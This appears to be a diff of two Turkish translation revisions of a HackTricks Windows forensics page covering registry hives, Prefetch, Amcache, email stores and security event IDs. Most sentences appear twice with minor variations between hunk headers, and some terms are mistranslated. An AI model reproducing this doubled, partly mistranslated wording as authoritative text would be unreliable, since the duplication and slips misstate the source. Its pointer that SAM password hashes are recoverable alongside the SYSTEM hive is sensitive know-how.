[**USBDetective**](https://usbdetective.com), bir görüntüye bağlanmış USB cihazları hakkında bilgi edinmek için kullanılabilir.
![](<../../../.gitbook/assets/image (483).png>)
### Tak ve Çalıştır Temizliği
'Plug and Play Temizliği' olarak bilinen zamanlanmış görev, eski sürücü sürümlerinin kaldırılması için tasarlanmıştır. En son sürücü paketi sürümünü koruma amacıyla belirtilen görevin aksine, çevrimiçi kaynaklar, son 30 günde bağlı olmayan sürücülerin hedef alındığını öne sürmektedir. Sonuç olarak, son 30 günde bağlı olmayan taşınabilir cihazlar için sürücüler silinebilir.
'Plug and Play Temizliği' olarak bilinen zamanlanmış görev, eski sürücü sürümlerinin kaldırılması için tasarlanmıştır. En son sürücü paketi sürümünü koruma amacıyla belirtilen amacının aksine, çevrimiçi kaynaklar, son 30 günde kullanılmayan sürücülerin hedef alındığını öne sürmektedir. Sonuç olarak, son 30 günde bağlı olmayan taşınabilir cihazlar için sürücüler silinebilir.
Görev aşağıdaki dizinde bulunur:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
@ -177,11 +176,11 @@ Görevin içeriğini gösteren bir ekran görüntüsü sağlanmıştır:
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Görevin Ana Bileşenleri ve Ayarları:**
- **pnpclean.dll**: Bu DLL, gerçek temizleme işleminde sorumludur.
- **pnpclean.dll**: Bu DLL, gerçek temizleme işleminden sorumludur.
- **UseUnifiedSchedulingEngine**: `TRUE` olarak ayarlanmıştır, genel görev zamanlama motorunun kullanıldığını gösterir.
- **MaintenanceSettings**:
- **Dönem ('P1M')**: Görev Zamanlayıcısını, düzenli Otomatik bakım sırasında aylık olarak temizlik görevini başlatmaya yönlendirir.
- **Son Tarih ('P2M')**: Görevin iki ardışık ay boyunca başarısız olması durumunda, acil Otomatik bakım sırasında görevi gerçekleştirmesi talimatını verir.
- **Son Tarih ('P2M')**: Görevin iki ardışık ay için başarısız olması durumunda, acil Otomatik bakım sırasında görevi yürütmek üzere Zamanlayıcıya talimat verir.
Bu yapılandırma, sürücülerin düzenli bakımını ve temizliğini sağlar ve ardışık başarısızlıklar durumunda görevin tekrar denemesi için hükümler içerir.
@ -189,22 +188,22 @@ Bu yapılandırma, sürücülerin düzenli bakımını ve temizliğini sağlar v
## E-postalar
E-postalar **2 ilginç bölüm içerir: Başlıklar ve e-posta içeriği**. **Başlıklar** içinde şu bilgileri bulabilirsiniz:
E-postaların **2 ilginç bölümü vardır: Başlıklar ve e-posta içeriği**. **Başlıklar** içinde şu bilgileri bulabilirsiniz:
* E-postaları **kimin** gönderdiği (e-posta adresi, IP, e-postayı yönlendiren posta sunucuları)
* E-postanın ne zaman gönderildiği
Ayrıca, `References` ve `In-Reply-To` başlıklarında mesajların kimlik numaralarını bulabilirsiniz:
Ayrıca, `References` ve `In-Reply-To` başlıklarında mesajların kimliğini bulabilirsiniz:
![](<../../../.gitbook/assets/image (484).png>)
### Windows Posta Uygulaması
Bu uygulama e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\<kullanıcıadı>\AppData\Local\Comms\Unistore\data\3\` içinde alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir.
Bu uygulama e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\<kullanıcıadı>\AppData\Local\Comms\Unistore\data\3\` içindeki alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir.
E-postaların **meta verileri** ve **kişiler** **EDB veritabanında** bulunabilir: `\Users\<kullanıcıadı>\AppData\Local\Comms\UnistoreDB\store.vol`
E-postaların **meta verileri** ve **kişileri** **EDB veritabanı** içinde bulunabilir: `\Users\<kullanıcıadı>\AppData\Local\Comms\UnistoreDB\store.vol`
Dosyanın uzantısını `.vol`'den `.edb`'ye değiştirerek [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) aracını kullanabilirsiniz. `Message` tablosu içinde e-postaları görebilirsiniz.
Dosyanın uzantısını `.vol` yerine `.edb` olarak değiştirerek [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) aracını kullanabilirsiniz. `Message` tablosu içinde e-postaları görebilirsiniz.
### Microsoft Outlook
@ -238,17 +237,17 @@ Kaybolan ek dosyalar aşağıdaki yerlerden kurtarılabilir:
### Thunderbird MBOX Dosyaları
**Thunderbird**, verileri depolamak için **MBOX dosyalarını** kullanır ve bu dosyalar `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` dizininde bulunur.
**Thunderbird**, verileri depolamak için **MBOX dosyalarını** kullanır ve dosyaları `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` dizininde bulunur.
### Görüntü Önizlemeleri
- **Windows XP ve 8-8.1**: Önizlemeleri olan bir klasöre erişmek, silinmesinden sonra bile görüntü önizlemelerini saklayan bir `thumbs.db` dosyası oluşturur.
- **Windows XP ve 8-8.1**: Önizlemeleri olan bir klasöre erişmek, silinmesinden sonra bile görüntü önizlemelerini depolayan bir `thumbs.db` dosyası oluşturur.
- **Windows 7/10**: `thumbs.db`, UNC yolu üzerinden bir ağa erişildiğinde oluşturulur.
- **Windows Vista ve sonraki sürümler**: Önizleme önizlemeleri `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` dizininde **thumbcache\_xxx.db** adıyla merkezi olarak saklanır. Bu dosyaları görüntülemek için [**Thumbsviewer**](https://thumbsviewer.github.io) ve [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) araçları kullanılabilir.
- **Windows Vista ve daha yeni sürümler**: Önizleme önizlemeleri `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` dizininde **thumbcache\_xxx.db** adlı dosyalarla merkezi olarak saklanır. Bu dosyaları görüntülemek için [**Thumbsviewer**](https://thumbsviewer.github.io) ve [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) araçları kullanılabilir.
### Windows Kayıt Defteri Bilgileri
Geniş sistem ve kullanıcı etkinlik verilerini saklayan Windows Kayıt Defteri, şu dosyalarda bulunur:
Geniş sistem ve kullanıcı etkinlik verilerini depolayan Windows Kayıt Defteri, şu dosyalarda bulunur:
- Çeşitli `HKEY_LOCAL_MACHINE` alt anahtarları için `%windir%\System32\Config`.
- `HKEY_CURRENT_USER` için `%UserProfile%{User}\NTUSER.DAT`.
@ -257,16 +256,16 @@ Geniş sistem ve kullanıcı etkinlik verilerini saklayan Windows Kayıt Defteri
### Araçlar
Kayıt defteri dosyalarını analiz etmek için bazı araçlar kullanışlıdır:
Kayıt defteri dosyalarını analiz etmek için bazı araçlar şunlardır:
* **Kayıt Düzenleyici**: Windows'ta yüklüdür. Geçerli oturumun Windows kayıt defterinde gezinmek için bir GUI sağlar.
* [**Kayıt Düzenleyici**](https://ericzimmerman.github.io/#!index.md): Kayıt dosyasını yüklemenize ve GUI ile gezinmenize olanak tanır. Ayrıca, ilginç bilgiler içeren anahtarları vurgulayan yer işaretleri içerir.
* [**Kayıt Düzenleyici**](https://ericzimmerman.github.io/#!index.md): Kayıt dosyasını yüklemenize ve GUI ile gezinmenize olanak tanır. Ayrıca ilginç bilgiler içeren anahtarları vurgulayan yer işaretleri içerir.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Yine, yüklenen kayıt defterinde gezinmenize izin veren bir GUI'ye sahiptir ve yüklenen kayıt defterindeki ilginç bilgileri vurgulayan eklentiler içerir.
* [**Windows Kayıt Defteri Kurtarma**](https://www.mitec.cz/wrr.html): Yüklenen kayıttan önemli bilgileri çıkarmak için yetenekli başka bir GUI uygulamasıdır.
* [**Windows Kayıt Defteri Kurtarma**](https://www.mitec.cz/wrr.html): Kayıt defterinden önemli bilgileri çıkarmak için yetenekli başka bir GUI uygulamasıdır.
### Silinen Öğe Kurtarma
Bir anahtar silindiğinde, bu şekilde işaretlenir, ancak işgal ettiği alan ihtiyaç duyulana kadar kaldırılmaz. Bu nedenle, **Kayıt Düzenleyici** gibi araçlar kullanılarak bu silinen anahtarların kurtarılması mümkündür.
Bir anahtar silindiğinde işaretlenir, ancak işgal ettiği alan ihtiyaç duyulana kadar kaldırılmaz. Bu nedenle, **Kayıt Düzenleyici** gibi araçlar kullanılarak bu silinen anahtarların kurtarılması mümkündür.
### Son Yazma Zamanı
@ -274,9 +273,9 @@ Her Anahtar-Değer, son olarak değiştirildiği zamanı gösteren bir **zaman d
### SAM
Dosya/hive **SAM**, sistemin **kullanıcıları, grupları ve kullanıcı parolaları** hash'lerini içerir.
Dosya/hive **SAM**, sistemin **kullanıcıları, grupları ve kullanıcı şifreleri** hash'lerini içerir.
`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son girişi, son başarısız girişi, giriş sayacını, parola politikasını ve hesabın ne zaman oluşturulduğunu alabilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosya/hive'ına ihtiyacınız vardır.
`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son girişi, son başarısız girişi, giriş sayacını, şifre politikasını ve hesabın ne zaman oluşturulduğunu elde edebilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosya/hive'ına ihtiyacınız vardır.
### Windows Kayıt Defterindeki İlginç Girişler
@ -292,21 +291,21 @@ Bu [yazıda](https://jonahacks.medium.com/investigating-common-windows-processes
### Windows Son Uygulamaları
Kayıt defterinde `NTUSER.DAT` içinde `Software\Microsoft\Current Version\Search\RecentApps` yolunda, **yürütülen uygulama**, **en son yürütülme zamanı** ve **kaç kez** başlatıldığı hakkında bilgiler içeren alt anahtarlar bulabilirsiniz.
Kayıt defterinde `NTUSER.DAT` içinde `Software\Microsoft\Current Version\Search\RecentApps` yolunda **yürütülen uygulama**, **en son çalıştırılma zamanı** ve **kaç kez** başlatıldığı hakkında bilgiler içeren alt anahtarlar bulabilirsiniz.
### BAM (Arka Plan Etkinlik Düzenleyicisi)
`SYSTEM` dosyasını bir kayıt düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda **her kullanıcı tarafından yürütülen uygulamalar** hakkında bilgileri (yol içindeki `{SID}` dikkate alın) ve **ne zaman** yürütüldüklerini (zaman, kayıt defterinin Veri değerinin içindedir) bulabilirsiniz.
`SYSTEM` dosyasını bir kayıt düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda her kullanıcı tarafından **yürütülen uygulamaların bilgilerini** (yol içindeki `{SID}` dikkate alın) ve **ne zaman** çalıştırıldıklarını (zaman, kayıt defterinin Veri değerinin içindedir) bulabilirsiniz.
### Windows Prefetch
Prefetch, bir bilgisayarın sessizce **kullanıcının yakın gelecekte erişebileceği içeriği görüntülemek için gereken kaynakları sessizce almasına** olanak tanıyan bir tekniktir, böylece kaynaklar daha hızlı erişilebilir hale gelir.
Ön bellekleme, bir bilgisayarın, bir kullanıcının **yakın gelecekte erişebileceği gerekli kaynakları sessizce almasına** olanak tanıyan bir tekniktir, böylece kaynaklar daha hızlı erişilebilir.
Windows prefetch, **daha hızlı yüklemek için yürütülen programların önbelleklerini oluşturmayı** içerir. Bu önbellekler, `.pf` uzantılı dosyalar olarak `C:\Windows\Prefetch` yolunda oluşturulur. XP/VISTA/WIN7'de 128 dosya ve Win8/Win10'da 1024 dosya sınırı vardır.
Windows ön belleği, **daha hızlı yüklemek için yürütülen programların önbelleklerini oluşturmayı** içerir. Bu önbellekler, `.pf` uzantılı dosyalar olarak `C:\Windows\Prefetch` yolunda oluşturulur. XP/VISTA/WIN7'de 128 dosya sınırı ve Win8/Win10'da 1024 dosya sınırı vardır.
Dosya adı `{program_adı}-{hash}.pf` şeklinde oluşturulur (hash, yürütülebilir dosyanın yol ve argümanlarına dayanır). W10'da bu dosyalar sıkıştırılmıştır. Dosyanın varlığı, programın bir noktada **yürütüldüğünü** gösterir.
Dosya adı `{program_adı}-{hash}.pf` şeklinde oluşturulur (hash, yürütülebilir dosyanın yol ve argümanlarına dayanır). W10'da bu dosyalar sıkıştırılmıştır. Dosyanın tek başına varlığı, programın bir noktada **çalıştırıldığını** gösterir.
Dosya `C:\Windows\Prefetch\Layout.ini`, **önbelleğe alınan dosyaların klasör adlarını** içerir. Bu dosya, **yürütme sayısı**, **yürütme tarihleri** ve program tarafından **açılan dosyalar** hakkında bilgiler içerir.
Dosya `C:\Windows\Prefetch\Layout.ini`, **önbelleğe alınan dosyaların klasör adlarını** içerir. Bu dosya, **çalıştırılan dosyaların sayısı**, **çalıştırılma tarihleri** ve program tarafından **açılan dosyalar** hakkında bilgiler içerir.
Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) aracını kullanabilirsiniz.
```bash
@ -314,10 +313,10 @@ Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/P
```
![](<../../../.gitbook/assets/image (487).png>)
### Superprefetch
### Süper Ön Yükleme
**Superprefetch** aynı amaca sahiptir prefetch, **programları daha hızlı yükleyerek** bir sonraki yüklemenin ne olacağını tahmin ederek. Ancak, prefetch hizmetini yerine koymaz.\
Bu hizmet, `C:\Windows\Prefetch\Ag*.db` konumunda veritabanı dosyaları oluşturacaktır.
**Süper Ön Yükleme** ön yükleme ile aynı amaca sahiptir, **programları daha hızlı yükleyerek** bir sonraki yüklemenin ne olacağını tahmin eder. Ancak, ön yükleme hizmetini yerine koymaz.\
Bu hizmet, `C:\Windows\Prefetch\Ag*.db` içinde veritabanı dosyaları oluşturacaktır.
Bu veritabanlarında **programın adı**, **çalıştırma sayısı**, **açılan dosyalar**, **erişilen hacim**, **tam yol**, **zaman aralıkları** ve **zaman damgaları** bulabilirsiniz.
@ -325,7 +324,7 @@ Bu bilgilere [**CrowdResponse**](https://www.crowdstrike.com/resources/community
### SRUM
**System Resource Usage Monitor** (SRUM) bir işlem tarafından **tüketilen kaynakları izler**. W8'de ortaya çıktı ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında saklar.
**Sistem Kaynak Kullanımı İzleyicisi** (SRUM) bir işlem tarafından **tüketilen kaynakları izler**. W8'de ortaya çıktı ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bulunan bir ESE veritabanında saklar.
Aşağıdaki bilgileri verir:
@ -364,27 +363,27 @@ Depolanan bilgileri ayrıştırmak için [**AppCompatCacheParser** aracı](https
### Amcache
**Amcache.hve** dosyası, bir sistemin üzerinde çalıştırılan uygulamalar hakkında detayları kaydeden bir kayıt hive'ıdır. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur.
**Amcache.hve** dosyası, bir sistemin üzerinde çalıştırılan uygulamalar hakkında ayrıntıları kaydeden bir kayıt hive'ıdır. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur.
Bu dosya, son zamanlarda çalıştırılan işlemlerin kayıtlarını, yürütülebilir dosyaların yollarını ve SHA1 karma değerlerini içermesiyle dikkat çekicidir. Bu bilgi, bir sistemdeki uygulamaların faaliyetlerini izlemek için çok değerlidir.
Bu dosya, son zamanlarda çalıştırılan işlemlerin kayıtlarını saklamak için dikkat çekicidir, bu da uygulamaların bir sistemdeki etkinliğini izlemek için çok değerli bir bilgidir.
**Amcache.hve** dosyasından verileri çıkarmak ve analiz etmek için [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, AmcacheParser'ın **Amcache.hve** dosyasının içeriğini ayrıştırarak sonuçları CSV formatında çıkarmak için nasıl kullanılacağını gösterir:
**Amcache.hve** dosyasından verileri çıkarmak ve analiz etmek için [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, **Amcache.hve** dosyasının içeriğini ayrıştırmak ve sonuçları CSV formatında çıkarmak için AmcacheParser'ın nasıl kullanılacağına dair bir örnektir:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
Oluşturulan CSV dosyaları arasında, `Amcache_Unassociated file entries` özellikle dikkat çekicidir çünkü ilişkilendirilmemiş dosya girişleri hakkında zengin bilgiler sağlar.
Oluşturulan CSV dosyaları arasında, `Amcache_Unassociated file entries` özellikle dikkat çekicidir çünkü ilişkilendirilmemiş dosya girişleri hakkında sağladığı zengin bilgilerle bilinir.
En ilginç CVS dosyası `Amcache_Unassociated file entries` olarak oluşturulmuştur.
En ilginç CSV dosyası `Amcache_Unassociated file entries` olarak oluşturulmuştur.
### RecentFileCache
Bu sanat eseri, bazı ikili dosyaların son yürütülmesi hakkında bilgi içeren `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` konumunda yalnızca W7'de bulunabilir.
Bu sanat eseri yalnızca W7'de `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` içinde bulunabilir ve bazı ikili dosyaların son yürütülmesi hakkında bilgiler içerir.
Dosyayı ayrıştırmak için [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) aracını kullanabilirsiniz.
### Zamanlanmış görevler
Onları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` konumlarından çıkarabilir ve XML olarak okuyabilirsiniz.
Onları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` içinden çıkarabilir ve XML olarak okuyabilirsiniz.
### Hizmetler
@ -392,13 +391,13 @@ Hizmetleri `SYSTEM\ControlSet001\Services` altında kayıt defterinde bulabilirs
### **Windows Mağazası**
Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` konumunda bulunabilir.\
Bu depoda, sisteme yüklenen **her uygulama** hakkında **`StateRepository-Machine.srd`** veritabanı içinde bir **günlük** bulunmaktadır.
Yüklü uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` içinde bulunabilir.\
Bu depoda sisteme yüklenen **her uygulama** hakkında **`StateRepository-Machine.srd`** veritabanı içinde bir **günlük** bulunur.
Bu veritabanının Application tablosu içinde, "Uygulama Kimliği", "Paket Numarası" ve "Görüntü Adı" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve yüklenen uygulamaların kimlikleri sıralı olmalıdır.
Bu veritabanının Application tablosu içinde "Uygulama Kimliği", "Paket Numarası" ve "Görüntü Adı" sütunlarını bulmak mümkündür. Bu sütunlar önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve yüklenen uygulamaların kimlikleri sıralı olmalıdır.
Ayrıca, yüklenen uygulamaları `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\` yolunda **bulmak** mümkündür\
Ve **kaldırılan** **uygulamaları** `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` konumunda bulabilirsiniz.
Ayrıca, yüklü uygulamaları kayıt defteri yolunda **bulabilirsiniz**: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Ve **kaldırılan** **uygulamaları** şurada bulabilirsiniz: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Windows Olayları
@ -410,15 +409,15 @@ Windows olayları içinde görünen bilgiler:
* İlgili Ana Bilgisayarlar (ana bilgisayar adı, IP)
* Erişilen Varlıklar (dosyalar, klasörler, yazıcılar, hizmetler)
Olay kayıtları, Windows Vista'dan önce `C:\Windows\System32\config` ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` konumlarında bulunmaktadır. Windows Vista'dan önce, olay kayıtları ikili formatta iken sonrasında **XML formatında** ve **.evtx** uzantısını kullanmaktadır.
Olay günlükleri, Windows Vista'dan önce `C:\Windows\System32\config` içinde ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` içinde bulunur. Windows Vista'dan önce, olay günlükleri ikili formatta ve sonrasında **XML formatında** ve **.evtx** uzantısını kullanır.
Olay dosyalarının konumu, olay günlüklerinin **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** içinde bulunan SYSTEM kayıt defterinde bulunabilir.
Olay dosyalarının konumu, olay günlüğünün **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** içinde bulunabilir.
Bu olaylar, Windows Olay Görüntüleyicisi (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) gibi diğer araçlarla **veya** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** ile** görselleştirilebilir.
Bu olaylar Windows Olay Görüntüleyicisi (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) gibi diğer araçlarla veya [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** gibi diğer araçlarla görselleştirilebilir.**
## Windows Güvenlik Olay Günlüğü Anlama
## Windows Güvenlik Olay Günlüğü Anlama
Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasitesine ulaşıldığında, eski olaylar üzerine yazılır. Kaydedilen olaylar arasında kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarına yapılan değişiklikler, ayrıca dosya, klasör ve paylaşılan varlıklara erişim bulunmaktadır.
Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasitesine ulaşıldığında, eski olaylar üzerine yazılır. Kaydedilen olaylar arasında kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarına yapılan değişiklikler, ayrıca dosya, klasör ve paylaşılan varlıklara erişim bulunur.
### Kullanıcı Kimlik Doğrulama için Ana Olay Kimlikleri:
@ -437,25 +436,25 @@ Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güven
- **Kilidi Aç (7)**: Şifre ile kilidin açılması.
- **Ağ Düz Metin (8)**: Genellikle IIS'den gelen düz metin şifre iletimi.
- **Yeni Kimlik Bilgileri (9)**: Erişim için farklı kimlik bilgilerinin kullanımı.
- **Uzaktan Etkileşimli (10)**: Uzak masaüstü veya terminal hizmetleri girişi.
- **Önbellek Etkileşimli (11)**: Etki alanı denetleyicisi ile iletişim olmadan önbellek kimlik bilgileri ile giriş.
- **Önbellek Uzaktan Etkileşimli (12)**: Önbellek kimlik bilgileri ile uzaktan giriş.
- **Önbellek Kilidi Aç (13)**: Önbellek kimlik bilgileri ile kilidin açılması.
- **Uzak Etkileşimli (10)**: Uzak masaüstü veya terminal hizmetleri girişi.
- **Önbellek Etkileşimli (11)**: Etki alanı denetleyicisi ile iletişim olmadan önbellek kimlik bilgileriyle giriş.
- **Önbellek Uzak Etkileşimli (12)**: Önbellek kimlik bilgileriyle uzaktan giriş.
- **Önbellek Kilidi Aç (13)**: Önbellek kimlik bilgileriyle kilidin açılması.
#### Olay Kimliği 4625 için Durum ve Alt Durum Kodları:
- **0xC0000064**: Kullanıcı adı mevcut değil - Kullanıcı adı sıralama saldırısını gösterebilir.
- **0xC000006A**: Doğru kullanıcı adı ancak yanlış şifre - Olası şifre tahmini veya kaba kuvvet saldırısı.
- **0xC0000234**: Kullanıcı hesabı kilitli - Birden fazla başarısız girişim sonucu kilitlenen hesapları takip edebilir.
- **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılan hesaplara yetkisiz erişim girişimleri.
- **0xC000006F**: İzin verilen saatler dışında oturum açma - Belirlenen oturum açma saatleri dışında erişim girişimleri, yetkisiz erişimin olası bir işareti.
- **0xC000006A**: Doğru kullanıcı adı ancak yanlış şifre - Olası şifre tahmini veya kaba kuvvet saldırısını gösterebilir.
- **0xC0000234**: Kullanıcı hesabı kilitli - Birden fazla başarısız giriş denemesi sonucunda kilitlenmiş hesapları takip edebilir.
- **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılmış hesaplara yetkisiz erişim denemelerini gösterebilir.
- **0xC000006F**: İzin verilen saatler dışında oturum açma - Belirlenen oturum açma saatleri dışında erişim denemelerini gösterebilir, yetkisiz erişimin olası bir işareti olabilir.
- **0xC0000070**: İş istasyonu kısıtlamalarının ihlali - Yetkisiz bir konumdan oturum açma girişimi olabilir.
- **0xC0000193**: Hesap süresi doldu - Süresi dolmuş kullanıcı hesapları ile erişim girişimleri.
- **0xC0000071**: Süresi dolmuş şifre - Güncelliğini yitirmiş şifrelerle oturum açma girişimleri.
- **0xC0000193**: Hesap süresinin dolması - Süresi dolmuş kullanıcı hesaplarıyla erişim denemelerini gösterebilir.
- **0xC0000071**: Süresi dolmuş şifre - Güncel olmayan şifrelerle oturum açma denemelerini gösterebilir.
- **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasındaki büyük zaman farkları, pass-the-ticket gibi daha sofistike saldırıların işareti olabilir.
- **0xC0000224**: Zorunlu şifre değişikliği gereklidir - Sık zorunlu değişiklikler, hesap güvenliğini bozmaya yönelik bir girişimi gösterebilir.
- **0xC0000225**: Bir güvenlik sorunu yerine bir sistem hatasını gösterir.
- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim girişimi, bir kullanıcının bir hizmet oturumu açmaya çalışması gibi.
- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim denemesini gösterebilir, örneğin bir kullanıcının bir hizmet oturumu açmaya çalışması.
#### Olay Kimliği 4616:
- **Zaman Değişikliği**: Sistem zamanının değiştirilmesi, olay zaman çizgisini karıştırabilir.
@ -471,17 +470,17 @@ Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güven
- **10100**: USB sürücü güncellemesi.
- **Olay Kimliği 112**: USB cihazı takma zamanı.
Bu oturum açma türlerini ve kimlik bilgilerini bulma fırsatları hakkında pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun.
Bu giriş türlerini ve kimlik bilgilerini nerede bulabileceğiniz ve kimlik bilgilerini nerede bulabileceğiniz gibi pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun.
Olay ayrıntıları, durum ve alt durum kodları, özellikle Olay Kimliği 4625'te olay nedenleri hakkında daha fazla bilgi sağlar.
Olay ayrıntıları, durum ve alt durum kodları da dahil olmak üzere olay nedenleri hakkında daha fazla bilgi sağlar, özellikle Olay Kimliği 4625'te dikkate değerdir.
### Windows Olaylarını Kurtarma
Silinmiş Windows Olaylarını kurtarma şansını artırmak için şüpheli bilgisayarı doğrudan fişten çekerek kapatmanız önerilir. `.evtx` uzantısını belirten bir kurtarma aracı olan **Bulk_extractor**'ı, bu tür olayları kurtarmak için denemeniz önerilir.
Silinmiş Windows Olaylarını kurtarma şansını artırmak için şüpheli bilgisayarı doğrudan fişten çekerek kapatmanız önerilir. **Bulk_extractor**, `.evtx` uzantısını belirten bir kurtarma aracı, bu tür olayları kurtarmak için önerilir.
### Windows Olayları Aracılığıyla Ortak Saldırıları Tanımlama
Ortak siber saldırıları tanımlamak için Windows Olay Kimliklerini kullanma kapsamlı bir kılavuz için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin.
Ortak siber saldırıları tanımlamak için Windows Olay Kimliklerini kullanma kılavuzu için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin.
#### Kaba Kuvvet Saldırıları
@ -489,34 +488,34 @@ Birden fazla Olay Kimliği 4625 kaydıyla tanımlanabilir, saldırı başarılı
#### Zaman Değişikliği
Sistem zamanı değişiklikleri, Olay Kimliği 4616 tarafından kaydedilir ve bu durumlar, adli analizi karmaşık hale getirebilir.
Olay Kimliği 4616 tarafından kaydedilen sistem zamanı değişiklikleri, adli analizi karmaşık hale getirebilir.
#### USB Cihaz Takibi
USB cihaz takibi için kullanışlı Sistem Olay Kimlikleri, başlangıç için 20001/20003/10000, sürücü güncellemeleri için 10100 ve cihaz takma zamanları için DeviceSetupManager'dan Olay Kimliği 112'yi içerir.
USB cihaz takibi için kullanışlı Sistem Olay Kimlikleri, başlangıçta kullanım için 20001/20003/10000, sürücü güncellemeleri için 10100 ve takma zamanları için DeviceSetupManager'dan Olay Kimliği 112'yi içerir.
#### Sistem Güç Olayları
EventID 6005, sistem başlangıcını gösterirken, EventID 6006 kapanışı işaretler.
#### Günlük Silme
Güvenlik EventID 1102, günlüklerin silinmesini işaret eder, bu da adli bilişim analizi için önemli bir olaydır.
Güvenlik EventID 1102, günlüklerin silinmesini işaret eder, bu da adli analiz için kritik bir olaydır.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
